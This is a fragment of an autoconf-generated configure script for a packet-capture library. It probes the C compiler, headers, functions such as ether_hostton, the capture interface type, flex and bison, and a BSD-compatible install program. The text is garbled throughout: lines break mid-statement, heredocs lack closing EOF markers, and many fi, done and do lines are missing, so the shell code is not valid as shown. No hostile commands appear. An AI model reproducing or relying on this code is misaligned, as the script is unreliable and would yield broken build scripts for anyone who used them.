if eval "test \"`echo
'$''{'ac_cv_prog_gcc'+set}'`\" = set"; then
echo $ac_n "(cached) $ac_c"
1>&6
else
cat >
conftest.c <<EOF
#ifdef __GNUC__
yes;
#endif
if { ac_try='${CC-cc} -E conftest.c'; {
(eval echo configure:836: \"$ac_try\") 1>&5; (eval $ac_try)
2>&5; }; } | egrep yes >/dev/null 2>&1; then
ac_cv_prog_gcc=yes
else
ac_cv_prog_gcc=no
echo
"$ac_t""$ac_cv_prog_gcc" 1>&6
if test
$ac_cv_prog_gcc = yes; then
GCC=yes
ac_test_CFLAGS="${CFLAGS+set}"
ac_save_CFLAGS="$CFLAGS"
CFLAGS=
echo $ac_n "checking whether ${CC-cc} accepts
-g""... $ac_c" 1>&6
echo "configure:851:
checking whether ${CC-cc} accepts -g" >&5
if eval "test
\"`echo '$''{'ac_cv_prog_cc_g'+set}'`\" = set"; then
echo $ac_n "(cached) $ac_c"
1>&6
else
echo 'void
f(){}' > conftest.c
if test -z "`${CC-cc} -g -c conftest.c
2>&1`"; then
ac_cv_prog_cc_g=yes
else
ac_cv_prog_cc_g=no
rm -f conftest*
echo "$ac_t""$ac_cv_prog_cc_g"
1>&6
if test
"$ac_test_CFLAGS" = set; then
CFLAGS="$ac_save_CFLAGS"
elif test $ac_cv_prog_cc_g = yes; then
CFLAGS="-g -O2"
else
CFLAGS="-O2"
fi
else
GCC=
test "${CFLAGS+set}" = set ||
CFLAGS="-g"
if test
"$GCC" = yes ; then
if test "$SHLICC2" = yes ;
then
ac_cv_lbl_gcc_vers=2
V_CCOPT="-O2"
else
echo $ac_n "checking gcc
version""... $ac_c" 1>&6
echo "configure:884:
checking gcc version" >&5
if eval "test \"`echo
'$''{'ac_cv_lbl_gcc_vers'+set}'`\" = set"; then
echo $ac_n "(cached) $ac_c"
1>&6
else
ac_cv_lbl_gcc_vers=`$CC -v 2>&1 | \
sed -e '/^gcc version /!d' \
-e 's/^gcc version //' \
-e 's/ .*//' -e 's/^[^0-9]*//' \
-e 's/\..*//'`
echo "$ac_t""$ac_cv_lbl_gcc_vers" 1>&6
if test $ac_cv_lbl_gcc_vers -gt 1 ; then
V_CCOPT="-O2"
fi
fi
else
echo $ac_n "checking that $CC handles
ansi prototypes""... $ac_c" 1>&6
echo
"configure:902: checking that $CC handles ansi prototypes" >&5
if eval "test \"`echo
'$''{'ac_cv_lbl_cc_ansi_prototypes'+set}'`\" = set"; then
echo $ac_n "(cached) $ac_c"
1>&6
else
cat >
conftest.$ac_ext <<EOF
#line 907 "configure"
#include
"confdefs.h"
#include <sys/types.h>
int main()
{
int frob(int, char *)
; return 0; }
if { (eval echo
configure:914: \"$ac_compile\") 1>&5; (eval $ac_compile)
2>&5; }; then
rm -rf
conftest*
ac_cv_lbl_cc_ansi_prototypes=yes
else
echo "configure: failed program
was:" >&5
cat
conftest.$ac_ext >&5
rm
-rf conftest*
ac_cv_lbl_cc_ansi_prototypes=no
rm -f
conftest*
echo
"$ac_t""$ac_cv_lbl_cc_ansi_prototypes" 1>&6
if test $ac_cv_lbl_cc_ansi_prototypes = no ; then
case "$target_os" in
hpux*)
echo $ac_n "checking for HP-UX ansi
compiler ($CC -Aa -D_HPUX_SOURCE)""... $ac_c" 1>&6
echo
"configure:932: checking for HP-UX ansi compiler ($CC -Aa
-D_HPUX_SOURCE)" >&5
savedcflags="$CFLAGS"
CFLAGS="-Aa -D_HPUX_SOURCE $CFLAGS"
if eval "test \"`echo
'$''{'ac_cv_lbl_cc_hpux_cc_aa'+set}'`\" = set"; then
echo $ac_n "(cached) $ac_c"
1>&6
else
cat >
conftest.$ac_ext <<EOF
#line 939 "configure"
#include
"confdefs.h"
#include <sys/types.h>
int main()
{
int frob(int, char *)
; return 0; }
if { (eval echo
configure:946: \"$ac_compile\") 1>&5; (eval $ac_compile)
2>&5; }; then
rm -rf
conftest*
ac_cv_lbl_cc_hpux_cc_aa=yes
else
echo "configure: failed program was:" >&5
cat conftest.$ac_ext >&5
rm -rf conftest*
ac_cv_lbl_cc_hpux_cc_aa=no
rm -f
conftest*
echo "$ac_t""$ac_cv_lbl_cc_hpux_cc_aa"
1>&6
if test $ac_cv_lbl_cc_hpux_cc_aa = no ; then
{ echo "configure: error: see the
INSTALL doc for more info" 1>&2; exit 1; }
fi
CFLAGS="$savedcflags"
V_CCOPT="-Aa $V_CCOPT"
cat >> confdefs.h <<\EOF
#define _HPUX_SOURCE 1
;;
*)
{ echo "configure: error: see the INSTALL doc for more info"
1>&2; exit 1; }
;;
esac
fi
V_INCLS="$V_INCLS
-I/usr/local/include"
LDFLAGS="$LDFLAGS
-L/usr/local/lib"
case "$target_os" in
irix*)
V_CCOPT="$V_CCOPT -xansi -signed
-g3"
;;
osf*)
V_CCOPT="$V_CCOPT -std1 -g3"
;;
ultrix*)
echo $ac_n "checking that Ultrix $CC
hacks const in prototypes""... $ac_c" 1>&6
echo
"configure:990: checking that Ultrix $CC hacks const in prototypes"
>&5
if eval "test \"`echo
'$''{'ac_cv_lbl_cc_const_proto'+set}'`\" = set"; then
echo $ac_n "(cached) $ac_c"
1>&6
else
cat >
conftest.$ac_ext <<EOF
#line 995 "configure"
#include
"confdefs.h"
#include <sys/types.h>
int main()
{
struct a { int b; };
void c(const struct a *)
; return 0; }
if { (eval echo
configure:1003: \"$ac_compile\") 1>&5; (eval $ac_compile)
2>&5; }; then
rm -rf
conftest*
ac_cv_lbl_cc_const_proto=yes
else
echo "configure: failed program was:" >&5
cat conftest.$ac_ext >&5
rm -rf conftest*
ac_cv_lbl_cc_const_proto=no
rm -f
conftest*
echo
"$ac_t""$ac_cv_lbl_cc_const_proto" 1>&6
if test $ac_cv_lbl_cc_const_proto = no ; then
cat >> confdefs.h <<\EOF
#define
const
fi
;;
esac
fi
echo $ac_n "checking how to run the C
preprocessor""... $ac_c" 1>&6
echo
"configure:1028: checking how to run the C preprocessor"
>&5
# On Suns, sometimes $CPP names a directory.
if test -n
"$CPP" && test -d "$CPP"; then
CPP=
if test -z "$CPP";
then
if eval "test \"`echo '$''{'ac_cv_prog_CPP'+set}'`\" =
set"; then
echo $ac_n
"(cached) $ac_c" 1>&6
else
# This must be in double quotes, not
single quotes, because CPP may get
# substituted into the Makefile and "${CC-cc}" will confuse
make.
CPP="${CC-cc}
-E"
# On the NeXT, cc -E
runs the code through the compiler's parser,
# not just through cpp.
cat > conftest.$ac_ext <<EOF
#line 1043
"configure"
#include "confdefs.h"
#include
<assert.h>
Syntax Error
ac_try="$ac_cpp conftest.$ac_ext
>/dev/null 2>conftest.out"
{ (eval echo configure:1049:
\"$ac_try\") 1>&5; (eval $ac_try) 2>&5; }
ac_err=`grep
-v '^ *+' conftest.out`
if test -z "$ac_err"; then
else
echo "$ac_err" >&5
echo "configure: failed program
was:" >&5
cat
conftest.$ac_ext >&5
rm
-rf conftest*
CPP="${CC-cc}
-E -traditional-cpp"
cat
> conftest.$ac_ext <<EOF
#line 1060 "configure"
#include
"confdefs.h"
#include <assert.h>
Syntax Error
ac_try="$ac_cpp
conftest.$ac_ext >/dev/null 2>conftest.out"
{ (eval echo
configure:1066: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5;
}
ac_err=`grep -v '^ *+' conftest.out`
if test -z
"$ac_err"; then
else
echo "$ac_err" >&5
echo "configure: failed program was:" >&5
cat conftest.$ac_ext >&5
rm -rf conftest*
CPP=/lib/cpp
rm -f conftest*
rm -f
conftest*
ac_cv_prog_CPP="$CPP"
CPP="$ac_cv_prog_CPP"
else
ac_cv_prog_CPP="$CPP"
echo
"$ac_t""$CPP" 1>&6
for ac_hdr in malloc.h
sys/ioccom.h sys/sockio.h
ac_safe=`echo "$ac_hdr" | sed
'y%./+-%__p_%'`
echo $ac_n "checking for $ac_hdr""...
$ac_c" 1>&6
echo "configure:1092: checking for
$ac_hdr" >&5
if eval "test \"`echo
'$''{'ac_cv_header_$ac_safe'+set}'`\" = set"; then
echo $ac_n "(cached) $ac_c"
1>&6
else
cat >
conftest.$ac_ext <<EOF
#line 1097 "configure"
#include
"confdefs.h"
#include <$ac_hdr>
ac_try="$ac_cpp
conftest.$ac_ext >/dev/null 2>conftest.out"
{ (eval echo
configure:1102: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5;
}
ac_err=`grep -v '^ *+' conftest.out`
if test -z
"$ac_err"; then
rm -rf
conftest*
eval
"ac_cv_header_$ac_safe=yes"
else
echo "$ac_err" >&5
echo "configure: failed program
was:" >&5
cat
conftest.$ac_ext >&5
rm
-rf conftest*
eval
"ac_cv_header_$ac_safe=no"
rm -f conftest*
if eval
"test \"`echo '$ac_cv_header_'$ac_safe`\" = yes";
then
echo
"$ac_t""yes" 1>&6
ac_tr_hdr=HAVE_`echo $ac_hdr | sed
'y%abcdefghijklmnopqrstuvwxyz./-%ABCDEFGHIJKLMNOPQRSTUVWXYZ___%'`
cat >> confdefs.h <<EOF
#define
$ac_tr_hdr 1
else
echo
"$ac_t""no" 1>&6
done
if test
"$GCC" = yes ; then
echo $ac_n "checking for ANSI ioctl
definitions""... $ac_c" 1>&6
echo
"configure:1131: checking for ANSI ioctl definitions"
>&5
if eval "test \"`echo
'$''{'ac_cv_lbl_gcc_fixincludes'+set}'`\" = set"; then
echo $ac_n "(cached) $ac_c"
1>&6
else
cat > conftest.$ac_ext
<<EOF
#line 1136 "configure"
#include
"confdefs.h"
* This generates a "duplicate case
value" when fixincludes
* has not be run.
*/
# include <sys/types.h>
# include
<sys/time.h>
# include <sys/ioctl.h>
# ifdef
HAVE_SYS_IOCCOM_H
# include <sys/ioccom.h>
# endif
int
main() {
switch (0) {
case _IO('A', 1):;
case _IO('B', 1):;
}
; return 0; }
if { (eval echo
configure:1155: \"$ac_compile\") 1>&5; (eval $ac_compile)
2>&5; }; then
rm -rf
conftest*
ac_cv_lbl_gcc_fixincludes=yes
else
echo "configure: failed program
was:" >&5
cat
conftest.$ac_ext >&5
rm
-rf conftest*
ac_cv_lbl_gcc_fixincludes=no
rm -f conftest*
echo "$ac_t""$ac_cv_lbl_gcc_fixincludes"
1>&6
if test $ac_cv_lbl_gcc_fixincludes = no ;
then
# Don't cache failure
unset ac_cv_lbl_gcc_fixincludes
{ echo "configure: error: see the
INSTALL for more info" 1>&2; exit 1; }
fi
fi
for ac_func in ether_hostton
strerror
echo $ac_n "checking for $ac_func""... $ac_c"
1>&6
echo "configure:1178: checking for $ac_func"
>&5
if eval "test \"`echo
'$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then
echo $ac_n "(cached) $ac_c"
1>&6
else
cat >
conftest.$ac_ext <<EOF
#line 1183 "configure"
#include
"confdefs.h"
/* System header to define __stub macros and
hopefully few prototypes,
which
can conflict with char $ac_func(); below.
*/
#include <assert.h>
/* Override any gcc2 internal
prototype to avoid an error. */
/*
We use char because int might match the return type of a gcc2
builtin and then its argument prototype
would still apply. */
char
$ac_func();
int main() {
/* The GNU C library defines this for
functions which it implements
to always fail with ENOSYS. Some
functions are actually named
something starting with __ and the normal name is an alias. */
#if defined (__stub_$ac_func) ||
defined (__stub___$ac_func)
choke me
#else
$ac_func();
#endif
;
return 0; }
if { (eval echo configure:1206: \"$ac_link\")
1>&5; (eval $ac_link) 2>&5; } && test -s conftest;
then
rm -rf conftest*
eval
"ac_cv_func_$ac_func=yes"
else
echo "configure: failed program was:" >&5
cat conftest.$ac_ext >&5
rm -rf conftest*
eval
"ac_cv_func_$ac_func=no"
rm -f conftest*
if eval "test
\"`echo '$ac_cv_func_'$ac_func`\" = yes"; then
echo "$ac_t""yes"
1>&6
ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz'
'ABCDEFGHIJKLMNOPQRSTUVWXYZ'`
cat
>> confdefs.h <<EOF
#define $ac_tr_func 1
else
echo "$ac_t""no"
1>&6
done
# Check whether --with-pcap or --without-pcap was
given.
if test "${with_pcap+set}" = set; then
withval="$with_pcap"
echo
$ac_n "checking packet capture type""... $ac_c"
1>&6
echo "configure:1238: checking packet capture type"
>&5
if test ! -z "$with_pcap" ; then
V_PCAP="$withval"
elif test
-r /dev/bpf0 ; then
V_PCAP=bpf
elif
test -r /usr/include/net/pfilt.h ; then
V_PCAP=pf
elif
test -r /dev/enet ; then
V_PCAP=enet
elif
test -r /dev/nit ; then
V_PCAP=snit
elif
test -r /usr/include/sys/net/nit.h ; then
V_PCAP=nit
elif
test -r /usr/include/net/raw.h ; then
V_PCAP=snoop
elif
test -r /usr/include/sys/dlpi.h ; then
V_PCAP=dlpi
elif
test -r /usr/include/linux/socket.h ; then
V_PCAP=linux
elif test -c /dev/bpf0 ; then #
check again in case not readable
V_PCAP=bpf
elif
test -c /dev/enet ; then # check again in case not readable
V_PCAP=enet
elif test -c /dev/nit ;
then #
check again in case not readable
V_PCAP=snit
else
V_PCAP=null
echo
"$ac_t""$V_PCAP" 1>&6
case "$V_PCAP"
in
dlpi)
for ac_hdr in
sys/bufmod.h sys/dlpi_ext.h
ac_safe=`echo "$ac_hdr" | sed
'y%./+-%__p_%'`
echo $ac_n "checking for $ac_hdr""...
$ac_c" 1>&6
echo "configure:1275: checking for
$ac_hdr" >&5
if eval "test \"`echo
'$''{'ac_cv_header_$ac_safe'+set}'`\" = set"; then
echo $ac_n "(cached) $ac_c"
1>&6
else
cat >
conftest.$ac_ext <<EOF
#line 1280 "configure"
#include
"confdefs.h"
#include <$ac_hdr>
ac_try="$ac_cpp
conftest.$ac_ext >/dev/null 2>conftest.out"
{ (eval echo
configure:1285: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5;
}
ac_err=`grep -v '^ *+' conftest.out`
if test -z
"$ac_err"; then
rm -rf
conftest*
eval
"ac_cv_header_$ac_safe=yes"
else
echo "$ac_err" >&5
echo "configure: failed program
was:" >&5
cat
conftest.$ac_ext >&5
rm
-rf conftest*
eval
"ac_cv_header_$ac_safe=no"
rm -f conftest*
if eval
"test \"`echo '$ac_cv_header_'$ac_safe`\" = yes";
then
echo
"$ac_t""yes" 1>&6
ac_tr_hdr=HAVE_`echo $ac_hdr | sed
'y%abcdefghijklmnopqrstuvwxyz./-%ABCDEFGHIJKLMNOPQRSTUVWXYZ___%'`
cat >> confdefs.h <<EOF
#define
$ac_tr_hdr 1
else
echo
"$ac_t""no" 1>&6
done
echo $ac_n "checking for /dev/dlpi
device""... $ac_c" 1>&6
echo "configure:1312:
checking for /dev/dlpi device" >&5
if test -c /dev/dlpi ; then
echo
"$ac_t""yes" 1>&6
cat >>
confdefs.h <<\EOF
#define HAVE_DEV_DLPI 1
else
echo "$ac_t""no"
1>&6
dir="/dev/dlpi"
echo
$ac_n "checking for $dir directory""... $ac_c"
1>&6
echo "configure:1323: checking for $dir directory"
>&5
if test -d $dir ; then
echo
"$ac_t""yes" 1>&6
cat >>
confdefs.h <<EOF
#define PCAP_DEV_PREFIX "$dir"
else
echo
"$ac_t""no" 1>&6
fi
linux)
for ac_hdr in net/if_arp.h
ac_safe=`echo
"$ac_hdr" | sed 'y%./+-%__p_%'`
echo $ac_n "checking for
$ac_hdr""... $ac_c" 1>&6
echo "configure:1341:
checking for $ac_hdr" >&5
if eval "test \"`echo
'$''{'ac_cv_header_$ac_safe'+set}'`\" = set"; then
echo $ac_n "(cached) $ac_c"
1>&6
else
cat >
conftest.$ac_ext <<EOF
#line 1346 "configure"
#include
"confdefs.h"
#include <$ac_hdr>
ac_try="$ac_cpp
conftest.$ac_ext >/dev/null 2>conftest.out"
{ (eval echo
configure:1351: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5;
}
ac_err=`grep -v '^ *+' conftest.out`
if test -z
"$ac_err"; then
rm -rf
conftest*
eval
"ac_cv_header_$ac_safe=yes"
else
echo "$ac_err" >&5
echo "configure: failed program
was:" >&5
cat
conftest.$ac_ext >&5
rm
-rf conftest*
eval
"ac_cv_header_$ac_safe=no"
rm -f conftest*
if eval
"test \"`echo '$ac_cv_header_'$ac_safe`\" = yes";
then
echo
"$ac_t""yes" 1>&6
ac_tr_hdr=HAVE_`echo $ac_hdr | sed
'y%abcdefghijklmnopqrstuvwxyz./-%ABCDEFGHIJKLMNOPQRSTUVWXYZ___%'`
cat >> confdefs.h <<EOF
#define
$ac_tr_hdr 1
else
echo
"$ac_t""no" 1>&6
done
echo $ac_n "checking Linux kernel
version""... $ac_c" 1>&6
echo "configure:1378:
checking Linux kernel version" >&5
if eval "test \"`echo
'$''{'ac_cv_linux_vers'+set}'`\" = set"; then
echo $ac_n "(cached) $ac_c"
1>&6
else
ac_cv_linux_vers=`uname -r 2>&1 | \
sed -n -e '$s/.* //'
-e '$s/\..*//p'`
echo
"$ac_t""$ac_cv_linux_vers" 1>&6
if test $ac_cv_linux_vers -lt 2 ;
then
{ echo "configure: error: version 2 or higher required;
see the INSTALL doc for more info" 1>&2; exit 1; }
null)
echo "configure: warning: cannot
determine packet capture interface" 1>&2
echo "configure: warning: (see the
INSTALL doc for more info)" 1>&2
esac
# Check whether
--with-flex or --without-flex was given.
if test
"${with_flex+set}" = set; then
withval="$with_flex"
# Check whether --with-bison or --without-bison was given.
if test
"${with_bison+set}" = set; then
withval="$with_bison"
if test "$with_flex" = no ; then
V_LEX=lex
else
for ac_prog in flex
# Extract the first word of
"$ac_prog", so it can be a program name with args.
set dummy
$ac_prog; ac_word=$2
echo $ac_n "checking for $ac_word""...
$ac_c" 1>&6
echo "configure:1419: checking for
$ac_word" >&5
if eval "test \"`echo
'$''{'ac_cv_prog_V_LEX'+set}'`\" = set"; then
echo $ac_n "(cached) $ac_c"
1>&6
else
if test -n
"$V_LEX"; then
ac_cv_prog_V_LEX="$V_LEX" # Let the user override the
test.
else
IFS="${IFS= }"; ac_save_ifs="$IFS";
IFS="${IFS}:"
for
ac_dir in $PATH; do
test -z
"$ac_dir" && ac_dir=.
if test -f $ac_dir/$ac_word; then
ac_cv_prog_V_LEX="$ac_prog"
break
fi
done
IFS="$ac_save_ifs"
V_LEX="$ac_cv_prog_V_LEX"
if
test -n "$V_LEX"; then
echo "$ac_t""$V_LEX" 1>&6
else
echo "$ac_t""no"
1>&6
test -n "$V_LEX" && break
done
test
-n "$V_LEX" || V_LEX="lex"
fi
if test
"$V_LEX" = flex ; then
# The -V flag was added in 2.4
echo $ac_n "checking for flex 2.4 or higher""...
$ac_c" 1>&6
echo "configure:1452: checking for flex 2.4
or higher" >&5
if eval "test \"`echo
'$''{'ac_cv_lbl_flex_v24'+set}'`\" = set"; then
echo $ac_n "(cached) $ac_c"
1>&6
else
if flex -V
>/dev/null 2>&1; then
ac_cv_lbl_flex_v24=yes
else
ac_cv_lbl_flex_v24=no
fi
echo "$ac_t""$ac_cv_lbl_flex_v24" 1>&6
if test $ac_cv_lbl_flex_v24 = no ; then
s="2.4 or
higher required"
echo "configure: warning: ignoring
obsolete flex executable ($s)" 1>&2
V_LEX=lex
fi
fi
if test
"$with_bison" = no ; then
V_YACC=yacc
else
for ac_prog in bison
# Extract the
first word of "$ac_prog", so it can be a program name with
args.
set dummy $ac_prog; ac_word=$2
echo $ac_n "checking for
$ac_word""... $ac_c" 1>&6
echo "configure:1478:
checking for $ac_word" >&5
if eval "test \"`echo
'$''{'ac_cv_prog_V_YACC'+set}'`\" = set"; then
echo $ac_n "(cached) $ac_c"
1>&6
else
if test -n
"$V_YACC"; then
ac_cv_prog_V_YACC="$V_YACC" # Let the user override the
test.
else
IFS="${IFS= }"; ac_save_ifs="$IFS";
IFS="${IFS}:"
for
ac_dir in $PATH; do
test -z
"$ac_dir" && ac_dir=.
if test -f $ac_dir/$ac_word; then
ac_cv_prog_V_YACC="$ac_prog"
break
fi
done
IFS="$ac_save_ifs"
V_YACC="$ac_cv_prog_V_YACC"
if
test -n "$V_YACC"; then
echo "$ac_t""$V_YACC" 1>&6
else
echo "$ac_t""no"
1>&6
test -n "$V_YACC" && break
done
test
-n "$V_YACC" || V_YACC="yacc"
fi
if test "$V_YACC" = bison ; then
V_YACC="$V_YACC -y"
fi
if test
"$V_LEX" != lex -a "$V_YACC" = yacc -o "$V_LEX" =
lex -a "$V_YACC" != yacc ; then
echo "configure: warning: don't have
both flex and bison; reverting to lex/yacc" 1>&2
V_LEX=lex
V_YACC=yacc
fi
if test "$V_LEX" = flex -a -n "pcap_" ;
then
V_LEX="$V_LEX -Ppcap_"
V_YACC="$V_YACC
-p pcap_"
fi
case
"$target_os" in
aix*)
cat >> confdefs.h <<\EOF
#define
_SUN 1
hpux9*)
cat
>> confdefs.h <<\EOF
#define HAVE_HPUX9 1
hpux10.0*)
hpux10.1*)
hpux*)
cat
>> confdefs.h <<\EOF
#define HAVE_HPUX10_20 1
sinix*)
echo $ac_n "checking if SINIX compiler
defines sinix""... $ac_c" 1>&6
echo
"configure:1552: checking if SINIX compiler defines sinix"
>&5
if eval "test
\"`echo '$''{'ac_cv_cc_sinix_defined'+set}'`\" = set";
then
echo $ac_n "(cached)
$ac_c" 1>&6
else
cat > conftest.$ac_ext <<EOF
#line 1557
"configure"
#include "confdefs.h"
int main()
{
int i = sinix;
; return 0; }
if { (eval echo configure:1564:
\"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; };
then
rm -rf conftest*
ac_cv_cc_sinix_defined=yes
else
echo "configure: failed program
was:" >&5
cat
conftest.$ac_ext >&5
rm
-rf conftest*
ac_cv_cc_sinix_defined=no
rm -f conftest*
echo "$ac_t""$ac_cv_cc_sinix_defined"
1>&6
if test $ac_cv_cc_sinix_defined = no ;
then
cat >> confdefs.h <<\EOF
#define
sinix 1
fi
solaris*)
cat >> confdefs.h <<\EOF
#define
HAVE_SOLARIS 1
linux*)
V_INCLS="$V_INCLS
-Ilinux-include"
esac
for ac_prog in ranlib
# Extract the
first word of "$ac_prog", so it can be a program name with
args.
set dummy $ac_prog; ac_word=$2
echo $ac_n "checking for
$ac_word""... $ac_c" 1>&6
echo "configure:1602:
checking for $ac_word" >&5
if eval "test \"`echo
'$''{'ac_cv_prog_V_RANLIB'+set}'`\" = set"; then
echo $ac_n "(cached) $ac_c"
1>&6
else
if test -n
"$V_RANLIB"; then
ac_cv_prog_V_RANLIB="$V_RANLIB" # Let the user override the
test.
else
IFS="${IFS= }"; ac_save_ifs="$IFS";
IFS="${IFS}:"
for
ac_dir in $PATH; do
test -z
"$ac_dir" && ac_dir=.
if test -f $ac_dir/$ac_word; then
ac_cv_prog_V_RANLIB="$ac_prog"
break
fi
done
IFS="$ac_save_ifs"
V_RANLIB="$ac_cv_prog_V_RANLIB"
if
test -n "$V_RANLIB"; then
echo "$ac_t""$V_RANLIB" 1>&6
else
echo "$ac_t""no"
1>&6
test -n "$V_RANLIB" && break
done
test
-n "$V_RANLIB" || V_RANLIB="@true"
rm -f
os-proto.h
if test
"${LBL_CFLAGS+set}" = set; then
V_CCOPT="$V_CCOPT
${LBL_CFLAGS}"
fi
if test -f .devel ; then
if test "$GCC" = yes ; then
if test
"${LBL_CFLAGS+set}" != set; then
if test "$ac_cv_prog_cc_g" = yes
; then
V_CCOPT="-g $V_CCOPT"
fi
V_CCOPT="$V_CCOPT -Wall"
if test $ac_cv_lbl_gcc_vers -gt 1 ; then
V_CCOPT="$V_CCOPT
-Wmissing-prototypes -Wstrict-prototypes"
fi
fi
else
case "$target_os" in
irix6*)
V_CCOPT="$V_CCOPT -n32"
;;
*)
;;
esac
fi
os=`echo $target_os | sed -e
's/\([0-9][0-9]*\)[^0-9].*$/\1/'`
name="lbl/os-$os.h"
if test -f $name ; then
ln -s $name os-proto.h
cat >> confdefs.h <<\EOF
#define HAVE_OS_PROTO_H
1
else
echo "configure: warning: can't find $name" 1>&2
fi
fi
echo $ac_n
"checking if sockaddr struct has sa_len member""... $ac_c"
1>&6
echo "configure:1672: checking if sockaddr struct has
sa_len member" >&5
if eval "test \"`echo '$''{'ac_cv_lbl_sockaddr_has_sa_len'+set}'`\"
= set"; then
echo $ac_n
"(cached) $ac_c" 1>&6
else
cat > conftest.$ac_ext <<EOF
#line
1677 "configure"
#include "confdefs.h"
# include <sys/types.h>
# include <sys/socket.h>
int
main() {
u_int i = sizeof(((struct sockaddr *)0)->sa_len)
; return
0; }
if { (eval echo configure:1686: \"$ac_compile\")
1>&5; (eval $ac_compile) 2>&5; }; then
rm -rf conftest*
ac_cv_lbl_sockaddr_has_sa_len=yes
else
echo "configure: failed program
was:" >&5
cat
conftest.$ac_ext >&5
rm
-rf conftest*
ac_cv_lbl_sockaddr_has_sa_len=no
rm -f conftest*
echo
"$ac_t""$ac_cv_lbl_sockaddr_has_sa_len" 1>&6
if test $ac_cv_lbl_sockaddr_has_sa_len =
yes ; then
cat >> confdefs.h <<\EOF
#define
HAVE_SOCKADDR_SA_LEN 1
fi
echo
$ac_n "checking if unaligned accesses fail""... $ac_c"
1>&6
echo "configure:1707: checking if unaligned accesses
fail" >&5
if eval
"test \"`echo '$''{'ac_cv_lbl_unaligned_fail'+set}'`\" =
set"; then
echo $ac_n
"(cached) $ac_c" 1>&6
else
case "$target_cpu" in
alpha|hp*|mips|sparc)
ac_cv_lbl_unaligned_fail=yes
;;
cat
>conftest.c <<EOF
# include <sys/types.h>
# include
<sys/wait.h>
# include <stdio.h>
unsigned
char a[5] = { 1, 2, 3, 4, 5 };
main() {
unsigned int
i;
pid_t pid;
int status;
/* avoid "core
dumped" message */
pid = fork();
if (pid < 0)
exit(2);
if (pid > 0)
{
/* parent */
pid = waitpid(pid, &status, 0);
if
(pid < 0)
exit(3);
exit(!WIFEXITED(status));
/*
child */
i = *(unsigned int *)&a[1];
printf("%d\n",
i);
exit(0);
${CC-cc} -o conftest $CFLAGS $CPPFLAGS
$LDFLAGS \
conftest.c $LIBS >/dev/null
2>&1
if test ! -x conftest ; then
ac_cv_lbl_unaligned_fail=yes
else
./conftest
>conftest.out
if test ! -s conftest.out ; then
ac_cv_lbl_unaligned_fail=yes
else
ac_cv_lbl_unaligned_fail=no
fi
fi
rm
-f conftest* core core.conftest
;;
esac
echo
"$ac_t""$ac_cv_lbl_unaligned_fail" 1>&6
if test $ac_cv_lbl_unaligned_fail = yes ;
then
cat >> confdefs.h <<\EOF
#define LBL_ALIGN
1
fi
if test
"${srcdir}" = "." ; then
srcdirprefix=""
else
srcdirprefix="./"
if test
-r ${srcdirprefix}lbl/gnuc.h ; then
rm
-f gnuc.h
ln -s
${srcdirprefix}lbl/gnuc.h gnuc.h
rm -f bpf_filter.c
ln -s
${srcdirprefix}bpf/net/bpf_filter.c bpf_filter.c
rm -f net
ln -s
${srcdirprefix}bpf/net net
# Find a good install program. We prefer a C program (faster),
# so
one script is as good as another. But
avoid the broken or
# incompatible versions:
# SysV /etc/install,
/usr/sbin/install
# SunOS /usr/etc/install
# IRIX /sbin/install
#
AIX /bin/install
# AFS /usr/afsws/bin/install, which mishandles
nonexistent args
# SVR4 /usr/ucb/install, which tries to use the
nonexistent group "staff"
# ./install, which can be erroneously
created by make from ./install.sh.
echo $ac_n "checking for a BSD
compatible install""... $ac_c" 1>&6
echo
"configure:1803: checking for a BSD compatible install"
>&5
if test -z "$INSTALL"; then
if eval "test
\"`echo '$''{'ac_cv_path_install'+set}'`\" = set"; then
echo
$ac_n "(cached) $ac_c" 1>&6
else
IFS="${IFS= }"; ac_save_IFS="$IFS";
IFS="${IFS}:"
for
ac_dir in $PATH; do
# Account
for people who put trailing slashes in PATH elements.
case "$ac_dir/" in
/|./|.//|/etc/*|/usr/sbin/*|/usr/etc/*|/sbin/*|/usr/afsws/bin/*|/usr/ucb/*)
;;
*)
# OSF1 and SCO ODT 3.0 have their own
names for install.
for
ac_prog in ginstall installbsd scoinst install; do
if test -f $ac_dir/$ac_prog;
then
if test $ac_prog = install &&
grep dspmsg $ac_dir/$ac_prog
>/dev/null 2>&1; then
# AIX install. It has an incompatible calling convention.
# OSF/1 installbsd also uses dspmsg, but is usable.
:
else
ac_cv_path_install="$ac_dir/$ac_prog
-c"
break 2
fi
done
;;
esac
done
IFS="$ac_save_IFS"
if test "${ac_cv_path_install+set}" = set; then
INSTALL="$ac_cv_path_install"
else
# As a last
resort, use the slow shell script. We
don't cache a
# path for
INSTALL within a source directory, because that will
# break other packages using the cache if
that directory is
# removed, or
if the path is relative.
INSTALL="$ac_install_sh"
fi
echo "$ac_t""$INSTALL"
1>&6
# Use test -z because SunOS4 sh mishandles braces in ${var-val}.
#
It thinks the first close brace ends the variable substitution.
test -z
"$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}'
test
-z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644'
trap
'' 1 2 15
cat > confcache <<\EOF
# This file is a shell
script that caches the results of configure
# tests run on this system so
they can be shared between configure
# scripts and configure runs. It is not useful on other systems.
# If
it contains results you don't want to keep, you may remove or edit it.
#
By default, configure uses ./config.cache as the cache file,
# creating it
if it does not exist already. You can
give configure
# the --cache-file=FILE option to use a different cache
file; that is
# what configure does when it calls configure scripts
in
# subdirectories, so they share the cache.
# Giving
--cache-file=/dev/null disables caching, for debugging configure.
#
config.status only pays attention to the cache file if you give it the
#
--recheck option to rerun configure.
# The following way of writing the
cache mishandles newlines in values,
# but we know of no workaround that
is simple, portable, and efficient.
# So, don't put newlines in cache
variables' values.
# Ultrix sh set writes to stderr and can't be
redirected directly,
# and sets the high bit in the cache file unless we
assign to the vars.
(set) 2>&1 |
case `(ac_space=' '; set) 2>&1` in
*ac_space=\ *)
# `set' does not quote correctly, so add
quotes (double-quote substitution
# turns \\\\ into \\, and sed turns \\ into \).
sed -n \
-e "s/'/'\\\\''/g" \
-e
"s/^\\([a-zA-Z0-9_]*_cv_[a-zA-Z0-9_]*\\)=\\(.*\\)/\\1=\${\\1='\\2'}/p"
;;
*)
# `set' quotes
correctly as required by POSIX, so do not add quotes.
sed -n -e
